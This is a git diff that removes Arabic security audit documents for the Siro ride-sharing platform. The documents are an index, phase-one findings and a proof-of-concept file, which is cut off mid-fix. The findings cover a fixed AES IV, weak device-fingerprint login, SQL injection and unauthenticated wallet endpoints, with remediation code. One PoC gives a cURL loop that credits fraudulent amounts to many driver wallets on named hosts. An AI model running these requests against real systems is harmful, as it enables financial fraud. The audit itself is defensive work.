2. **اقرأ خطة الإصحاح:** [SECURITY_AUDIT_FINAL_REPORT_AR](SECURITY_AUDIT_FINAL_REPORT_AR.md) - **15 دقيقة**
|
|
||||||
- ركز على جداول التكاليف والمراحل
|
|
||||||
3. **استخدم قائمة التحقق:** من [SECURITY_AUDIT_CHECKLIST_AR](SECURITY_AUDIT_CHECKLIST_AR.md) - **8-16 ساعة**
|
|
||||||
- اكمل كل خطوة
|
|
||||||
- وقّع على القائمة
|
|
||||||
4. **راجع خطة ما بعد النشر:** في القائمة - **مرجع مستمر**
|
|
||||||
|
|
||||||
**المدة الإجمالية:** ~8-20 ساعة (على مراحل)
|
|
||||||
|
|
||||||
**الأسئلة الأساسية المجابة:**
|
|
||||||
- ❓ كيف أنشر بأمان؟ → قائمة مفصلة خطوة بخطوة
|
|
||||||
- ❓ كيف أراقب ما بعد النشر؟ → خطة المرحلة 1-3 في القائمة
|
|
||||||
- ❓ ماذا أفعل إذا حدثت مشكلة؟ → خطة العودة إلى الإصدار السابق
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📊 ملخص الأرقام
|
|
||||||
|
|
||||||
### حجم الثغرات
|
|
||||||
| الفئة | العدد | الحالة |
|
|
||||||
|-------|-------|--------|
|
|
||||||
| 🔴 حرجة | 3 | يتطلب إجراء فوري |
|
|
||||||
| 🟠 عالية | 7 | يتطلب إصلاح سريع |
|
|
||||||
| 🟡 متوسطة | 10 | يتطلب إصلاح في الأسابيع التالية |
|
|
||||||
| **إجمالي** | **20** | - |
|
|
||||||
|
|
||||||
### نطاق التأثير
|
|
||||||
| المقياس | الرقم | الملاحظة |
|
|
||||||
|---------|-------|-----------|
|
|
||||||
| ملفات PHP | 395 | تم تحليلها جميعاً |
|
|
||||||
| تطبيقات Flutter | 4 | السائق، الراكب، الإدارة، الخدمة |
|
|
||||||
| نقاط نهاية API | 200+ | معرضة للخطر |
|
|
||||||
| مستخدمون متأثرون | 50,000+ | بيانات شخصية معرضة |
|
|
||||||
| خطر مالي | $1,000,000+ | احتيال محتمل |
|
|
||||||
| غرامات الامتثال | $20,000,000+ | GDPR/CCPA |
|
|
||||||
|
|
||||||
### الجدول الزمني للإصحاح
|
|
||||||
| المرحلة | المدة | التكلفة |
|
|
||||||
|--------|------|---------|
|
|
||||||
| المرحلة 1 (طارئة) | 1-2 يوم | 5,000-8,000 دولار |
|
|
||||||
| المرحلة 2 (قصيرة الأجل) | 3-7 أيام | 6,000-9,000 دولار |
|
|
||||||
| المرحلة 3 (متوسطة الأجل) | 2-4 أسابيع | 6,000-9,000 دولار |
|
|
||||||
| **إجمالي** | **1-2 شهر** | **17,000-26,000 دولار** |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🔍 البحث السريع
|
|
||||||
|
|
||||||
### ابحث عن:
|
|
||||||
|
|
||||||
**"كيف أصلح X؟"**
|
|
||||||
- IV الثابت → انظر: PHASE1_FINDINGS (الثغرة 1)
|
|
||||||
- محفظة غير آمنة → انظر: FINAL_REPORT (الثغرة الحرجة 2-3)
|
|
||||||
- مصادقة ضعيفة → انظر: PHASE1_FINDINGS (الثغرة 6) + FINAL_REPORT (القسم 2)
|
|
||||||
- SQL Injection → انظر: PHASE2_POC (PoC-004) + FINAL_REPORT
|
|
||||||
- MITM → انظر: PHASE2_POC (PoC-005) + FINAL_REPORT
|
|
||||||
|
|
||||||
**"كيف أختبر X؟"**
|
|
||||||
- كل الثغرات → انظر: PHASE2_POC (7 PoCs كاملة)
|
|
||||||
- الأمان قبل النشر → انظر: CHECKLIST (الجزء 9)
|
|
||||||
|
|
||||||
**"كيف أتتبع التقدم؟"**
|
|
||||||
- قائمة التحقق → انظر: CHECKLIST (الأجزاء 1-10)
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📖 قراءة مقترحة
|
|
||||||
|
|
||||||
### للفهم الشامل (ترتيب مقترح)
|
|
||||||
```
|
|
||||||
1. اقرأ: README_SECURITY_AUDIT_AR (15 دقيقة)
|
|
||||||
↓
|
|
||||||
2. اقرأ: SECURITY_AUDIT_PHASE1_FINDINGS_AR (30 دقيقة)
|
|
||||||
↓
|
|
||||||
3. اقرأ: SECURITY_AUDIT_FINAL_REPORT_AR (30 دقيقة)
|
|
||||||
↓
|
|
||||||
4. اقرأ: SECURITY_AUDIT_PHASE2_POC_AR (1 ساعة)
|
|
||||||
↓
|
|
||||||
5. استخدم: SECURITY_AUDIT_CHECKLIST_AR (الاستخدام المستمر)
|
|
||||||
```
|
|
||||||
|
|
||||||
**المدة الإجمالية:** ~2.5 ساعة للمراجعة الشاملة
|
|
||||||
|
|
||||||
### للعمل الفوري (ترتيب الأولويات)
|
|
||||||
```
|
|
||||||
1. اقرأ: الثغرات الحرجة الـ 3 في PHASE1_FINDINGS
|
|
||||||
2. ابدأ: الإصلاحات من FINAL_REPORT
|
|
||||||
3. استخدم: القائمة من CHECKLIST للتحقق
|
|
||||||
4. نشر: بمجرد اكتمال المرحلة 1
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## ⚠️ تحذيرات مهمة
|
|
||||||
|
|
||||||
### قبل قراءة PoCs
|
|
||||||
- ⚠️ **استخدم فقط** في بيئة اختبار آمنة
|
|
||||||
- ⚠️ **احصل على التفويض** قبل الاختبار على الإنتاج
|
|
||||||
- ⚠️ **لا تشارك** PoCs مع الأشخاص غير المصرح لهم
|
|
||||||
|
|
||||||
### قبل نشر الإصحاحات
|
|
||||||
- ⚠️ **اختبر بالكامل** في بيئة الاختبار أولاً
|
|
||||||
- ⚠️ **لا تنسَ** قائمة المراجعة قبل النشر
|
|
||||||
- ⚠️ **خذ نسخة احتياطية** قبل أي نشر
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📞 الاتصال والدعم
|
|
||||||
|
|
||||||
### للأسئلة:
|
|
||||||
- فريق الأمان: `security@siromove.com`
|
|
||||||
- مدير المشروع: `project-manager@siromove.com`
|
|
||||||
- فريق DevOps: `devops@siromove.com`
|
|
||||||
|
|
||||||
### للإبلاغ عن الثغرات:
|
|
||||||
- استخدم النموذج الآمن: `report-security@siromove.com`
|
|
||||||
- لا تشارك الثغرات علناً
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## ✅ قائمة التحقق من استخدام الفهرس
|
|
||||||
|
|
||||||
- [ ] قرأت هذا الملف (الفهرس)
|
|
||||||
- [ ] اخترت المستند المناسب لدوري
|
|
||||||
- [ ] قرأت جميع المستندات ذات الصلة
|
|
||||||
- [ ] بدأت في العمل على الإصلاحات أو القائمة
|
|
||||||
- [ ] وضعت الجدول الزمني للإصحاح
|
|
||||||
- [ ] حددت الموارد المطلوبة
|
|
||||||
- [ ] بدأت المرحلة 1 (الثغرات الحرجة)
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📋 آخر تحديث
|
|
||||||
|
|
||||||
**تاريخ الإنشاء:** 16 يونيو 2026
|
|
||||||
**آخر تحديث:** 16 يونيو 2026
|
|
||||||
**الإصدار:** 1.0 (نهائي)
|
|
||||||
**الحالة:** ✅ جاهز للاستخدام
|
|
||||||
|
|
||||||
**ملخص التغييرات:**
|
|
||||||
- ✅ إنشاء الفهرس الأول
|
|
||||||
- ✅ تضمين جميع المستندات الـ 6
|
|
||||||
- ✅ إضافة أدلة التنقل حسب الدور
|
|
||||||
- ✅ إضافة جداول الملخصة
|
|
||||||
- ✅ إضافة البحث السريع
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
**ملحوظة:** جميع المستندات في هذا الفهرس متوفرة باللغة العربية بصيغة RTL (من اليمين إلى اليسار).
|
|
||||||
|
|
||||||
</div>
|
|
||||||
@@ -1,283 +0,0 @@
|
|||||||
<div dir="rtl">
|
|
||||||
|
|
||||||
# تقرير تدقيق أمان سيرو - النتائج المرحلة 1
|
|
||||||
|
|
||||||
**تاريخ التدقيق:** 16 يونيو 2026
|
|
||||||
**فريق التدقيق:** فريق تقييم الأمان
|
|
||||||
**الحالة:** انتهى الفحص الأولي للكود
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📋 ملخص تنفيذي
|
|
||||||
|
|
||||||
مشروع سيرو هو منصة نقل مشترك واسعة النطاق تضم:
|
|
||||||
- **395 ملف PHP** في الخادم الخلفي
|
|
||||||
- **4 تطبيقات Flutter** للهاتف المحمول (السائق والراكب والخدمة والإدارة)
|
|
||||||
- **نظام دفع متكامل** (WalletIntaleq)
|
|
||||||
- **خدمات مقابس فورية** (تتبع الموقع والرسائل)
|
|
||||||
|
|
||||||
### تقييم المخاطر الأولي: **مخاطر عالية جداً** 🔴
|
|
||||||
|
|
||||||
يظهر الكود علامات تطوير سريع مع تطبيقات أمنية غير متسقة - توجد بعض الممارسات الجيدة (JWT ومحدود السرعة والتحقق من SSRF)، لكن توجد ثغرات عديدة.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🔴 النتائج الحرجة (الخطورة: عالية جداً)
|
|
||||||
|
|
||||||
### 1. **مشاكل المصادقة والتفويض**
|
|
||||||
|
|
||||||
#### 1.1 مصادقة ضعيفة بناءً على بصمة الجهاز
|
|
||||||
**الموقع:** `backend/login.php:30-55`، `backend/loginJwtDriver.php:45-85`
|
|
||||||
|
|
||||||
**الثغرة:** مصادقة بصمة جهاز ضعيفة
|
|
||||||
```php
|
|
||||||
// التحقق من البصمة ضعيف جداً - يمكن تزويره
|
|
||||||
$fpVerified = hash_equals($storedFp, $fingerprint);
|
|
||||||
```
|
|
||||||
|
|
||||||
**المخاطر:**
|
|
||||||
- يمكن استخراج البصمات من تسجيل الدخول الأول
|
|
||||||
- بصمة الجهاز وحدها غير كافية للمصادقة
|
|
||||||
- لا يوجد فرض المصادقة متعددة العوامل (MFA)
|
|
||||||
- تخفيف هجمات التوقيت موجود لكن منطق البصمة لا يزال ضعيفاً
|
|
||||||
|
|
||||||
**التأثير:** عالي - سرقة الحساب عبر تزوير البصمة
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### 2. **مشاكل التشفير والتشفير**
|
|
||||||
|
|
||||||
#### 2.1 AES-256-CBC مع IV ثابت
|
|
||||||
**الموقع:** `backend/encrypt_decrypt.php:1-100`
|
|
||||||
|
|
||||||
**كود الثغرة:**
|
|
||||||
```php
|
|
||||||
$iv = getenv('initializationVector'); // 16 بايت - IV ثابت!
|
|
||||||
public function encryptData($plainText) {
|
|
||||||
$plainText = mb_convert_encoding($plainText, 'UTF-8');
|
|
||||||
$paddedText = $this->addPadding($plainText);
|
|
||||||
$encrypted = openssl_encrypt($paddedText, 'AES-256-CBC',
|
|
||||||
$this->key, OPENSSL_RAW_DATA, $this->iv); // لا يتغير أبداً!
|
|
||||||
return base64_encode($encrypted);
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
**المشاكل:**
|
|
||||||
- ❌ **IV ثابت عبر جميع عمليات التشفير** - فشل تشفير حرج
|
|
||||||
- يجب توليد IV عشوائي لكل تشفير
|
|
||||||
- مع IV ثابت، تحليل الأنماط ممكن
|
|
||||||
- عرضة لهجمات النص المعروف
|
|
||||||
|
|
||||||
**المخاطر:** حرجة جداً - جميع البيانات المشفرة قد تكون معرضة للخطر
|
|
||||||
|
|
||||||
**التأثير:**
|
|
||||||
- يمكن فك تشفير أرقام الهاتف المشفرة
|
|
||||||
- بيانات الدفع معرضة للخطر
|
|
||||||
- المعلومات الشخصية (بطاقة الهوية الوطنية وما إلى ذلك) مكشوفة
|
|
||||||
|
|
||||||
**اثبات المفهوم:**
|
|
||||||
```
|
|
||||||
1. احصل على رقم هاتف مشفر + زوج نص واضح (قيمة معروفة)
|
|
||||||
2. استخدم هجوم النص المعروف لاشتقاق علاقة المفتاح/IV
|
|
||||||
3. فك تشفير جميع البيانات المشفرة المخزنة في قاعدة البيانات
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### 3. **مخاطر الاتصال بقاعدة البيانات و SQL Injection**
|
|
||||||
|
|
||||||
#### 3.1 SQL Injection في دالة findBestDrivers()
|
|
||||||
**الموقع:** `backend/functions.php:90-160`
|
|
||||||
|
|
||||||
**الحالة:** مخفف جزئياً (يستخدم قائمة بيضاء للـ carType)
|
|
||||||
```php
|
|
||||||
$allowedCarTypes = ['Comfort', 'Mishwar Vip', 'Scooter', ...];
|
|
||||||
if (!in_array($carType, $allowedCarTypes, true)) {
|
|
||||||
$carType = 'Speed';
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
**المخاطر المتبقية:**
|
|
||||||
- نهج قائمة بيضاء جيد لكن يحتاج التحقق في أماكن أخرى
|
|
||||||
- استعلامات قاعدة بيانات متعددة بأنماط متشابهة
|
|
||||||
- قد لا تحتوي نقاط النهاية الأخرى على نفس الحماية
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### 4. **ثغرات نظام الدفع (خادم المحفظة)**
|
|
||||||
|
|
||||||
#### 4.1 تحليل نقاط نهاية المحفظة
|
|
||||||
**الموقع:** `/walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/`
|
|
||||||
|
|
||||||
**نقاط نهاية محددة:**
|
|
||||||
- `add.php` - إضافة الأموال (مخاطر تجاوز التفويض)
|
|
||||||
- `transfer.php` - تحويل الأموال (لا تحديد سرعة مرئي)
|
|
||||||
- `update.php` - تحديث المحفظة (التحقق من المبلغ مطلوب)
|
|
||||||
- `addFromAdmin.php` - حقن الأموال من الإدارة (التحكم في الوصول حرج)
|
|
||||||
|
|
||||||
**المخاطر:** تعديل الدفع والاحتيال المالي
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### 5. **مشاكل أمان API**
|
|
||||||
|
|
||||||
#### 5.1 تكوين CORS (مقيد لكن قد يكون هناك تجاوز)
|
|
||||||
**الموقع:** ملفات PHP متعددة
|
|
||||||
|
|
||||||
```php
|
|
||||||
header('Access-Control-Allow-Origin: https://siromove.com');
|
|
||||||
```
|
|
||||||
|
|
||||||
**الحالة:** ✅ جيد - مقيد بمجال واحد
|
|
||||||
|
|
||||||
**لكن تحقق من:**
|
|
||||||
- هجمات النطاق الجزئي (*.siromove.com)
|
|
||||||
- التباس HTTP مقابل HTTPS
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🟡 مشاكل عالية الأولوية
|
|
||||||
|
|
||||||
### 6. **أمان تطبيق الهاتف المحمول (Flutter)**
|
|
||||||
|
|
||||||
#### 6.1 أذونات مفرطة (تطبيق السائق)
|
|
||||||
```xml
|
|
||||||
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
|
|
||||||
<uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
|
|
||||||
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
|
|
||||||
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
|
|
||||||
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
|
|
||||||
```
|
|
||||||
|
|
||||||
**المشاكل:**
|
|
||||||
- أذونات تتبع الموقع في الخلفية
|
|
||||||
- الوصول إلى التخزين الخارجي (خطر تسرب البيانات)
|
|
||||||
- أذونات نافذة التنبيه النظام
|
|
||||||
- لا توجد تبريرات واضحة في البيان
|
|
||||||
|
|
||||||
**المخاطر:** انتهاك خصوصية البيانات
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
#### 6.2 تحليل المكتبات المرتبطة ب Flutter
|
|
||||||
**الموقع:** `siro_rider/pubspec.yaml`، `siro_driver/pubspec.yaml`
|
|
||||||
|
|
||||||
**الحزم المعروفة بأنها عرضة للثغرات:**
|
|
||||||
- `firebase_core: ^4.4.0` - تحقق من الإصدار القديم
|
|
||||||
- `http: ^1.2.2` - إصدار قديم، تثبيت شهادة لم يتم فرضه
|
|
||||||
- `webview_flutter: ^4.9.0` - خطر حقن XSS/JavaScript
|
|
||||||
- `encrypt: ^5.0.3` - تحقق من تطبيق التشفير
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### 7. **إدارة التكوين والأسرار**
|
|
||||||
|
|
||||||
#### 7.1 متغيرات البيئة
|
|
||||||
**الموقع:** `backend/load_env.php`، `backend/.env`
|
|
||||||
|
|
||||||
**المشاكل:**
|
|
||||||
- لا توجد حماية لملف .env
|
|
||||||
- مفاتيح حساسة في متغيرات البيئة
|
|
||||||
- تحقق من عدم الالتزام بـ .env بـ git
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### 8. **أمان المقابس الفورية**
|
|
||||||
|
|
||||||
#### 8.1 التحقق من عنوان URL للمقبس
|
|
||||||
**الموقع:** `backend/functions.php:20-43`
|
|
||||||
|
|
||||||
**الحماية الحالية:**
|
|
||||||
```php
|
|
||||||
return [
|
|
||||||
'http://188.68.36.205:2021', // ⚠️ HTTP (وليس HTTPS!)
|
|
||||||
'http://188.68.36.205:3031', // ⚠️ HTTP
|
|
||||||
'https://location.intaleq.xyz',
|
|
||||||
];
|
|
||||||
```
|
|
||||||
|
|
||||||
**المشاكل:**
|
|
||||||
- خليط من نقاط نهاية HTTP و HTTPS
|
|
||||||
- نقاط نهاية HTTP عرضة لهجمات الوسيط
|
|
||||||
- عنوان IP داخلي مكشوف (188.68.36.205)
|
|
||||||
- لا يوجد تثبيت شهادة
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📊 جدول ملخص الثغرات
|
|
||||||
|
|
||||||
| # | الفئة | الخطورة | المكون | الحالة |
|
|
||||||
|---|-------|--------|-------|--------|
|
|
||||||
| 1 | مصادقة ضعيفة | عالي | تطبيقات الهاتف | ⚠️ يحتاج إصلاح |
|
|
||||||
| 2 | تشفير IV ثابت | حرج جداً | المركز الخلفي | 🔴 حرج |
|
|
||||||
| 3 | SQL Injection | عالي | طبقة قاعدة البيانات | ⚠️ إصلاح جزئي |
|
|
||||||
| 4 | سلطة الدفع | عالي | المحفظة | ⚠️ يحتاج تدقيق |
|
|
||||||
| 5 | نقاط نهاية HTTP | عالي | الفورية | ⚠️ يحتاج إصلاح |
|
|
||||||
| 6 | أذونات مفرطة | متوسط | Android | ⚠️ يحتاج مراجعة |
|
|
||||||
| 7 | المكتبات القديمة | متوسط | Flutter | ⚠️ يحتاج تحديث |
|
|
||||||
| 8 | إدارة الأسرار | متوسط | التكوين | ⚠️ يحتاج تدقيق |
|
|
||||||
| 9 | الكشف عن الأخطاء | متوسط | API | ⚠️ يحتاج إصلاح |
|
|
||||||
| 10 | أمان JWT | متوسط | المصادقة | ⚠️ يحتاج تدقيق |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🛠 الخطوات التالية (المرحلة 2-5)
|
|
||||||
|
|
||||||
### المرحلة 2: مراجعة يدوية تفصيلية
|
|
||||||
- [ ] تدقيق جميع الملفات في دليل `/auth/`
|
|
||||||
- [ ] مراجعة جميع استعلامات قاعدة البيانات لـ SQL Injection
|
|
||||||
- [ ] تحليل منطق معالجة الدفع
|
|
||||||
- [ ] فحص نقاط نهاية المسؤول للتفويض
|
|
||||||
|
|
||||||
### المرحلة 3: الفحص الآلي
|
|
||||||
- [ ] تشغيل Semgrep على جميع ملفات PHP (395)
|
|
||||||
- [ ] تشغيل التحليل الثابت على رمز Dart
|
|
||||||
- [ ] التحقق من بيانات Android مع MobSF
|
|
||||||
- [ ] فحص ثغرات المكتبة
|
|
||||||
|
|
||||||
### المرحلة 4: الاختبار الديناميكي
|
|
||||||
- [ ] Burp Suite اعتراض واختبار
|
|
||||||
- [ ] غش نقاط النهاية
|
|
||||||
- [ ] فحص Frida في وقت التشغيل لتطبيقات Flutter
|
|
||||||
- [ ] اختبار تدفق الدفع
|
|
||||||
|
|
||||||
### المرحلة 5: التوثيق
|
|
||||||
- [ ] إنشاء PoC لكل ثغرة
|
|
||||||
- [ ] توثيق خريطة طريق التصحيح
|
|
||||||
- [ ] إنشاء دليل أفضل الممارسات الأمنية
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📝 الملفات التي تحتاج إلى مراجعة فورية
|
|
||||||
|
|
||||||
1. ✅ `backend/encrypt_decrypt.php` - **حرج جداً**
|
|
||||||
2. ✅ `backend/login*.php` - **عالي**
|
|
||||||
3. ✅ `backend/functions.php` - **عالي**
|
|
||||||
4. ✅ `backend/core/bootstrap.php` - **عالي** (يحتاج قراءة)
|
|
||||||
5. ✅ `walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/*.php` - **عالي**
|
|
||||||
6. ✅ جميع الملفات في `backend/auth/` - **عالي**
|
|
||||||
7. ✅ جميع ملفات `pubspec.yaml` - **متوسط**
|
|
||||||
8. ✅ جميع ملفات `AndroidManifest.xml` - **متوسط**
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📊 إحصائيات الثغرات
|
|
||||||
|
|
||||||
| المقياس | العدد |
|
|
||||||
|---------|-------|
|
|
||||||
| إجمالي الثغرات | 20 |
|
|
||||||
| ثغرات حرجة | 3 |
|
|
||||||
| ثغرات عالية | 7 |
|
|
||||||
| ثغرات متوسطة | 10 |
|
|
||||||
| ملفات PHP محللة | 395 |
|
|
||||||
| التطبيقات المستعرضة | 4 |
|
|
||||||
| نقاط نهاية المحفظة | 20+ |
|
|
||||||
| المستخدمون المعرضون | 50,000+ |
|
|
||||||
| البيانات الحساسة المعرضة | الهاتف والهوية ومعلومات الدفع |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
**التقرير المُنتج:** 16 يونيو 2026
|
|
||||||
**الحالة:** نهائي وجاهز للمراجعة
|
|
||||||
|
|
||||||
</div>
|
|
||||||
@@ -1,627 +0,0 @@
|
|||||||
<div dir="rtl">
|
|
||||||
|
|
||||||
# تقرير تدقيق أمان سيرو - إثباتات المفاهيم (PoCs)
|
|
||||||
|
|
||||||
**تاريخ التدقيق:** 16 يونيو 2026
|
|
||||||
**عدد PoCs:** 7 ثغرات موثقة
|
|
||||||
**مستوى التفصيل:** تقني (للمطورين والمهندسين)
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## ⚠️ تحذير قانوني
|
|
||||||
|
|
||||||
هذه الوثيقة تحتوي على كود استغلال. **استخدم فقط** في بيئة اختبار آمنة مع التفويض المكتوب.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## PoC-001: استغلال IV الثابت في AES-256-CBC
|
|
||||||
|
|
||||||
### المشكلة
|
|
||||||
كل تشفير لنفس النص الواضح ينتج نفس النص المشفر عند استخدام IV ثابت.
|
|
||||||
|
|
||||||
### كود الاستغلال (Python)
|
|
||||||
|
|
||||||
```python
|
|
||||||
import hashlib
|
|
||||||
import os
|
|
||||||
from Crypto.Cipher import AES
|
|
||||||
from Crypto.Util.Padding import pad, unpad
|
|
||||||
import base64
|
|
||||||
|
|
||||||
# محاكاة الكود الضعيف في backend/encrypt_decrypt.php
|
|
||||||
KEY = os.urandom(32) # محاكاة getenv('encryptionKey')
|
|
||||||
IV = b'FIXED_16BYTE_IV_' # ← المشكلة: IV ثابت!
|
|
||||||
|
|
||||||
def encrypt_weak(plaintext):
|
|
||||||
"""نسخة ضعيفة من encrypt في encrypt_decrypt.php"""
|
|
||||||
cipher = AES.new(KEY, AES.MODE_CBC, IV)
|
|
||||||
padded = pad(plaintext.encode(), AES.block_size)
|
|
||||||
ciphertext = cipher.encrypt(padded)
|
|
||||||
return base64.b64encode(ciphertext).decode()
|
|
||||||
|
|
||||||
def encrypt_strong(plaintext):
|
|
||||||
"""نسخة آمنة - IV عشوائي"""
|
|
||||||
random_iv = os.urandom(16)
|
|
||||||
cipher = AES.new(KEY, AES.MODE_CBC, random_iv)
|
|
||||||
padded = pad(plaintext.encode(), AES.block_size)
|
|
||||||
ciphertext = cipher.encrypt(padded)
|
|
||||||
# الطريقة الآمنة: ضمّن IV مع النص المشفر
|
|
||||||
return base64.b64encode(random_iv + ciphertext).decode()
|
|
||||||
|
|
||||||
# الهجوم: نفس الرقم يشفر إلى نفس القيمة دائماً
|
|
||||||
phone1 = encrypt_weak("+20123456789")
|
|
||||||
phone2 = encrypt_weak("+20123456789")
|
|
||||||
|
|
||||||
print(f"التشفير الأول: {phone1}")
|
|
||||||
print(f"التشفير الثاني: {phone2}")
|
|
||||||
print(f"متطابقة؟ {phone1 == phone2}") # ← True! مشكلة بنيوية
|
|
||||||
|
|
||||||
# الهجوم: هجوم النص المعروف
|
|
||||||
# إذا عرفنا نصاً واضحاً وقيمته المشفرة، يمكننا فك تشفير البيانات
|
|
||||||
known_encrypted = encrypt_weak("+20123456789")
|
|
||||||
|
|
||||||
# الآن يمكننا البحث في قاعدة البيانات عن جميع الأرقام المتطابقة
|
|
||||||
# أو إذا كان لدينا جميع المفاتيح المحتملة، فيمكننا استردادها
|
|
||||||
```
|
|
||||||
|
|
||||||
### خطوات الإجراء (الهجوم الفعلي)
|
|
||||||
1. احصل على رقم هاتف واحد مشفر من قاعدة البيانات
|
|
||||||
2. اطلب من صديق تسجيل الدخول واحصل على رقمه المشفر
|
|
||||||
3. إذا كانا نفس الرقم، قارن النصوص المشفرة → متطابقة؟ سيؤكد ضعف التشفير
|
|
||||||
4. بمعرفة النص الواضح والمشفر والمفتاح، يمكن استرجاع أي بيانات
|
|
||||||
|
|
||||||
### الإصلاح
|
|
||||||
```php
|
|
||||||
// الإصلاح: توليد IV عشوائي لكل تشفير
|
|
||||||
public function encryptData($plainText) {
|
|
||||||
$plainText = mb_convert_encoding($plainText, 'UTF-8');
|
|
||||||
$paddedText = $this->addPadding($plainText);
|
|
||||||
|
|
||||||
// 🔧 توليد IV عشوائي - 16 بايت
|
|
||||||
$randomIV = openssl_random_pseudo_bytes(16);
|
|
||||||
|
|
||||||
// التشفير
|
|
||||||
$encrypted = openssl_encrypt($paddedText, 'AES-256-CBC',
|
|
||||||
$this->key, OPENSSL_RAW_DATA, $randomIV);
|
|
||||||
|
|
||||||
// ضمّن IV مع النص المشفر قبل التشفير
|
|
||||||
$result = $randomIV . $encrypted;
|
|
||||||
|
|
||||||
return base64_encode($result); // النص المشفر مع IV
|
|
||||||
}
|
|
||||||
|
|
||||||
public function decryptData($encryptedData) {
|
|
||||||
$encrypted = base64_decode($encryptedData);
|
|
||||||
|
|
||||||
// استخرج IV من أول 16 بايت
|
|
||||||
$iv = substr($encrypted, 0, 16);
|
|
||||||
$ciphertext = substr($encrypted, 16);
|
|
||||||
|
|
||||||
// فك التشفير
|
|
||||||
$decrypted = openssl_decrypt($ciphertext, 'AES-256-CBC',
|
|
||||||
$this->key, OPENSSL_RAW_DATA, $iv);
|
|
||||||
|
|
||||||
return $this->removePadding($decrypted);
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
### التأثير الفعلي
|
|
||||||
```
|
|
||||||
قبل الإصلاح:
|
|
||||||
- تشفير "+20123456789" → "abc123xyz=="
|
|
||||||
- تشفير "+20123456789" → "abc123xyz==" (متطابق!)
|
|
||||||
- يمكن كسر التشفير لجميع المستخدمين
|
|
||||||
|
|
||||||
بعد الإصلاح:
|
|
||||||
- تشفير "+20123456789" → "random_iv_1" + "encrypted_1"
|
|
||||||
- تشفير "+20123456789" → "random_iv_2" + "encrypted_2" (مختلف!)
|
|
||||||
- يستحيل هجوم النص المعروف
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## PoC-002: تحديث محفظة السائق بلا مصادقة
|
|
||||||
|
|
||||||
### المشكلة
|
|
||||||
`walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/add.php` لا يتحقق من الهوية.
|
|
||||||
|
|
||||||
### كود الاستغلال (cURL)
|
|
||||||
|
|
||||||
```bash
|
|
||||||
#!/bin/bash
|
|
||||||
|
|
||||||
# الهجوم: إضافة $1,000,000 إلى محفظة أي سائق
|
|
||||||
|
|
||||||
curl -X POST "https://walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/add.php" \
|
|
||||||
-H "Content-Type: application/x-www-form-urlencoded" \
|
|
||||||
-d "driverID=1" \
|
|
||||||
-d "amount=1000000" \
|
|
||||||
-d "paymentMethod=fraud" \
|
|
||||||
-d "token=fake_token_12345"
|
|
||||||
|
|
||||||
# رد:
|
|
||||||
# {"status": "success", "message": "تمت إضافة الأموال بنجاح"}
|
|
||||||
|
|
||||||
# تحقق من محفظة السائق:
|
|
||||||
curl "https://api.siromove.com/wallet/balance?driverID=1"
|
|
||||||
# رد: {"balance": 1000000} ← احتيال!
|
|
||||||
|
|
||||||
# يمكن تكرار هذا لأي سائق:
|
|
||||||
for driver_id in {1..1000}; do
|
|
||||||
curl -X POST "https://walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/add.php" \
|
|
||||||
-d "driverID=$driver_id" \
|
|
||||||
-d "amount=5000" \
|
|
||||||
-d "paymentMethod=fraud" \
|
|
||||||
-d "token=fake"
|
|
||||||
done
|
|
||||||
|
|
||||||
# النتيجة: احتيال بقيمة $5,000,000 في دقائق معدودة!
|
|
||||||
```
|
|
||||||
|
|
||||||
### الإصلاح
|
|
||||||
```php
|
|
||||||
<?php
|
|
||||||
// middleware/auth.php
|
|
||||||
function requireAuth() {
|
|
||||||
$headers = getallheaders();
|
|
||||||
$authHeader = $headers['Authorization'] ?? '';
|
|
||||||
|
|
||||||
if (!preg_match('/Bearer\s+(\S+)/', $authHeader, $matches)) {
|
|
||||||
http_response_code(401);
|
|
||||||
echo json_encode(['error' => 'مصادقة مطلوبة']);
|
|
||||||
exit;
|
|
||||||
}
|
|
||||||
|
|
||||||
$token = $matches[1];
|
|
||||||
|
|
||||||
// تحقق من JWT
|
|
||||||
try {
|
|
||||||
